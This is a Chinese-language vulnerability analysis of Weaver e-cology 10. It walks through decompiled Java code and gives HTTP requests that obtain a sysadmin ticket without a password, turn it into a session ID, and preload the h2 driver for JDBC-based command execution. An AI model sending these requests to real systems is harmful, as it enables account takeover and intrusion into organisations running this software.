浅析泛微ec10权限绕过到命令执行

分析

首先是接口/papi/passport/rest/appThirdLogin

1
2
3
4
5
6
7
8
9
10
11
@RequestMapping(
value = {"/appThirdLogin"},
method = {RequestMethod.POST},
params = {"username", "service", "ip"},
produces = {"application/json; charset=UTF-8"}
)
public Map<String, String> appThirdLogin(HttpServletRequest request, HttpServletResponse response, final String username, String service, final String ip) {
String loginType = request.getParameter("loginType");
String tgtId = SecurityCasUtils.getCookie(request, "ETEAMS_TGC");
return this.restLoginService.appThirdLogin(loginType, tgtId, response, username, service, ip, "zh_CN");
}

通过接口生成ticket的过程中,当没有ticket时,当传入username后,在函数逻辑中,首先为credential设置了noPassword属性

image-20240820224632691

接下来在创建ticket前会先处理认证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// com.weaver.passport.casserver.ticket.CasLoginTicketServiceImpl

public Authentication authenticate(WeaverUsernamePasswordCredential credential, CasLoginEnum casLoginEnum) throws PassportNoTenantException {
AuthenticationBuilder builder = this.authenticateInternal(credential, casLoginEnum);
return builder.build();
}
public String createTicketGrantingTicket(WeaverUsernamePasswordCredential credential, CasLoginEnum casLoginEnum) throws PassportNoTenantException {
this.basicLicenseControl.checkLicense();
Authentication authentication = this.authenticate(credential, casLoginEnum);
TicketGrantingTicket ticketGrantingTicket = new TicketGrantingTicketImpl(this.ticketGrantingTicketUniqueTicketIdGenerator.getNewTicketId("TGT"), authentication, this.ticketGrantingTicketExpirationPolicy);
String tgtId = ticketGrantingTicket.getId();
this.getTicketRegistry(casLoginEnum).addTicket(ticketGrantingTicket);
return tgtId;
}

可以看到,由于之前设置了noPassword属性,credential.getNoPassword() != null && credential.getNoPassword()一定为true,如果CasLoginEnum.notCheckPassword(casLoginEnum)也为true,则不需要密码即可完成认证

image-20240820225027645

可以看到仅需其一即可,

1
2
3
4
5
// com.weaver.passport.enums.CasLoginEnum

public static boolean notCheckPassword(CasLoginEnum loginEnum) {
return loginEnum == PC_QRCODE || loginEnum == THIRD || loginEnum == PC_LDAP || loginEnum == PC_WECHAT || loginEnum == PC_WEIBO || loginEnum == PC_QQ || loginEnum == APP_WEIBO || loginEnum == APP_QQ || loginEnum == APP_WECHAT || loginEnum == APP_APPLE;
}

因此第一步获取ticket的Payload并不难理解

1
2
3
4
5
6
7
POST /papi/passport/rest/appThirdLogin?username=sysadmin&service=1&ip=1&loginType=third HTTP/1.1
Host:
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded

接下来在获取到了serviceTicketId后,通过generateEteamsId接口我们便能得到EteamsId,这里的流程其实比较复杂,简单从英文看看逻辑即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// com.weaver.passport.controller.PassportLoginController
@RequestMapping(
value = {"/generateEteamsId"},
method = {RequestMethod.POST}
)
@ResponseBody
public WeaResult<String> generateEteamsId(@RequestParam String stTicket, @RequestParam(required = false) String service, HttpServletRequest request) {
logger.info("############# generateEteamsId [stTicket]{}", stTicket, service);
String eteamsId = this.passportEteamsIdService.generateEteamsIdBySt(stTicket, service, (String)null, request);
logger.info("############# generateEteamsId [stTicket]{} [eteamsId]{}", stTicket, eteamsId);
return WeaResult.success(eteamsId);
}

// com.weaver.passport.service.eteamsid.PassportEteamsIdServiceImpl
public String generateEteamsIdBySt(String stTicket, String service, String ip, HttpServletRequest request) {
try {
if (StringUtils.isEmpty(service)) {
service = this.hostUtil.getRealWebHost();
}

logger.info("############# generateEteamsIdBySt [st]{} [service]{}", stTicket, service);
Assertion assertion = this.validateSt(stTicket, service);
TeamsUserDetails teamsUserDetails = (TeamsUserDetails)this.userDetailsService.loadUserDetails(assertion);
String tokenId = SecurityCasUtils.generateTokenId(stTicket, teamsUserDetails.findLoginType());
List<GrantedAuthority> authorities = (List)teamsUserDetails.getAuthorities();
CasAuthenticationToken cat = new CasAuthenticationToken("eteams432534gfdg", teamsUserDetails, stTicket, authorities, teamsUserDetails, assertion);
SecurityContext context = SecurityContextHolder.getContext();
context.setAuthentication(cat);
this.securityContextCache.put(tokenId, context);
ClientInfo clientInfo = new ClientInfo();
if (request != null) {
ClientInfo.obtainClient(request);
this.setIpCache(IpUtil.getRemoteHost(request), teamsUserDetails.getUser().getEmployeeId());
}

if (!StringUtils.isEmpty(ip)) {
this.setIpCache(ip, teamsUserDetails.getUser().getEmployeeId());
}

this.remoteBasicCommonService.postLoginSuccess(teamsUserDetails.getTenant(), teamsUserDetails.getUser().getEmployeeId(), clientInfo, new Date());
return tokenId;
} catch (Exception var12) {
Exception e = var12;
logger.error("########## generateEteamsIdBySt error...[st]{} [service]{}", new Object[]{stTicket, service, e});
return null;
}
}
1
2
3
4
5
6
7
8
POST /papi/passport/login/generateEteamsId?stTicket=xxxxx HTTP/1.1
Host:
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded

之后在有了ETEAMSID之后,我们即可完成后台rce,接口在/api/dw/connSetting/testConnByBasePassword,注意这里的publicPermission = true,说明是低权限,不需要admin用户,经过测试这里也和登录校验无关

1
2
3
4
5
6
7
8
9
// com.weaver.dw.datamodel.controller.DataConnController
@RequestMapping({"/testConnByBasePassword"})
@WeaPermission(
publicPermission = true
)
public WareResult testConnByBasePassword(@RequestBody DataSetConn conn, Employee employee) {
conn.setDbPassword(SqlValidateUtil.base64ToString(conn.getDbPassword()));
return this.testConn(conn, employee);
}

在之后jdbc链接时有个小细节,首先会根据传入的getDbType参数选择对应驱动,这里很多jdbc都可以尝试打一下种类挺齐全,但getDbDriverByType中唯独没有h2,在连接失败后,会尝试使用DriverManager.getConnection建立连接,但由于dbDriver固定写死了在getDbDriverByType中,因此我们需要找一个能任意控制初始化的Class.forName

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// com.weaver.dw.datamodel.service.conn.impl.DataConnServiceImpl
public Connection getConnection(DataSetConn dataSetConn, Employee employee) {
Connection conn = null;
String dbDriver = this.getDbDriverByType(dataSetConn.getDbType());

try {
dataSetConn.setDbUrl(this.getConnUrl(dataSetConn));
dataSetConn.setDbDriver(dbDriver);
conn = DynamicDataSourcePoolFactory.getInstance().getConnection(dataSetConn);
if (conn == null || !conn.isValid(10)) {
Class.forName(dbDriver).newInstance();
conn = DriverManager.getConnection(this.getConnUrl(dataSetConn), dataSetConn.getDbUsername(), dataSetConn.getDbPassword());
}

return conn;
} catch (ClassNotFoundException var6) {
ClassNotFoundException e = var6;
log.error("ClassNotFoundException", e);
return null;
} catch (SQLException var7) {
SQLException e = var7;
log.error("SQLException", e);
throw new AppException(this.labelDataService.getLabel(56517L, employee.getId(), employee.getTenantKey()));
} catch (InstantiationException var8) {
InstantiationException e = var8;
log.error("InstantiationException", e);
throw new AppException(this.labelDataService.getLabel(56517L, employee.getId(), employee.getTenantKey()));
} catch (IllegalAccessException var9) {
IllegalAccessException e = var9;
log.error("IllegalAccessException", e);
throw new AppException(this.labelDataService.getLabel(56517L, employee.getId(), employee.getTenantKey()));
}
}

public String getDbDriverByType(String dbType) {
switch (dbType.toLowerCase()) {
case "mysql5":
return "com.mysql.jdbc.Driver";
case "mysql":
case "mysql8":
return "com.mysql.cj.jdbc.Driver";
case "oracle":
return "oracle.jdbc.driver.OracleDriver";
case "tidb":
return "com.mysql.cj.jdbc.Driver";
case "sqlserver2000":
return "net.sourceforge.jtds.jdbc.Driver";
case "sqlserver":
case "sqlserver2005":
case "sqlserver2008":
case "sqlserver2014":
return "com.microsoft.sqlserver.jdbc.SQLServerDriver";
case "kingbase":
return "com.kingbase8.Driver";
case "dameng":
return "dm.jdbc.driver.DmDriver";
case "shentong":
return "com.oscar.Driver";
case "postgresql":
return "org.postgresql.Driver";
case "db2":
return "com.ibm.db2.jcc.DB2Driver";
case "sybase":
return "com.sybase.jdbc2.jdbc.SybDriver";
case "informix":
return "com.informix.jdbc.IfxDriver";
case "sap hana":
return "com.sap.db.jdbc.Driver";
case "gbase":
return "com.gbase.jdbc.Driver";
case "gaussdb":
return "com.huawei.gauss.jdbc.ZenithDriver";
case "opengauss":
return "com.huawei.gauss200.jdbc.Driver";
case "highgo db":
return "com.highgo.jdbc.Driver";
default:
return "";
}
}

/api/bs/iaauthclient/base/save中恰好就有,恰好是我们可控的

image-20240820231552372

因此在做jdbc打h2前需要先访问,初始化h2的驱动(当然较老版本里没有h2驱动,因此也可以试试直接打db2之类的,只是可惜db2-jndi需要出网)

1
2
3
4
5
6
7
8
POST /api/bs/iaauthclient/base/save HTTP/1.1
Host:
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Content-Type: application/json

{"isUse":1,"auth_type":"custom",
"iaAuthclientCustomDTO":{"ruleClass":"org.h2.Driver"}}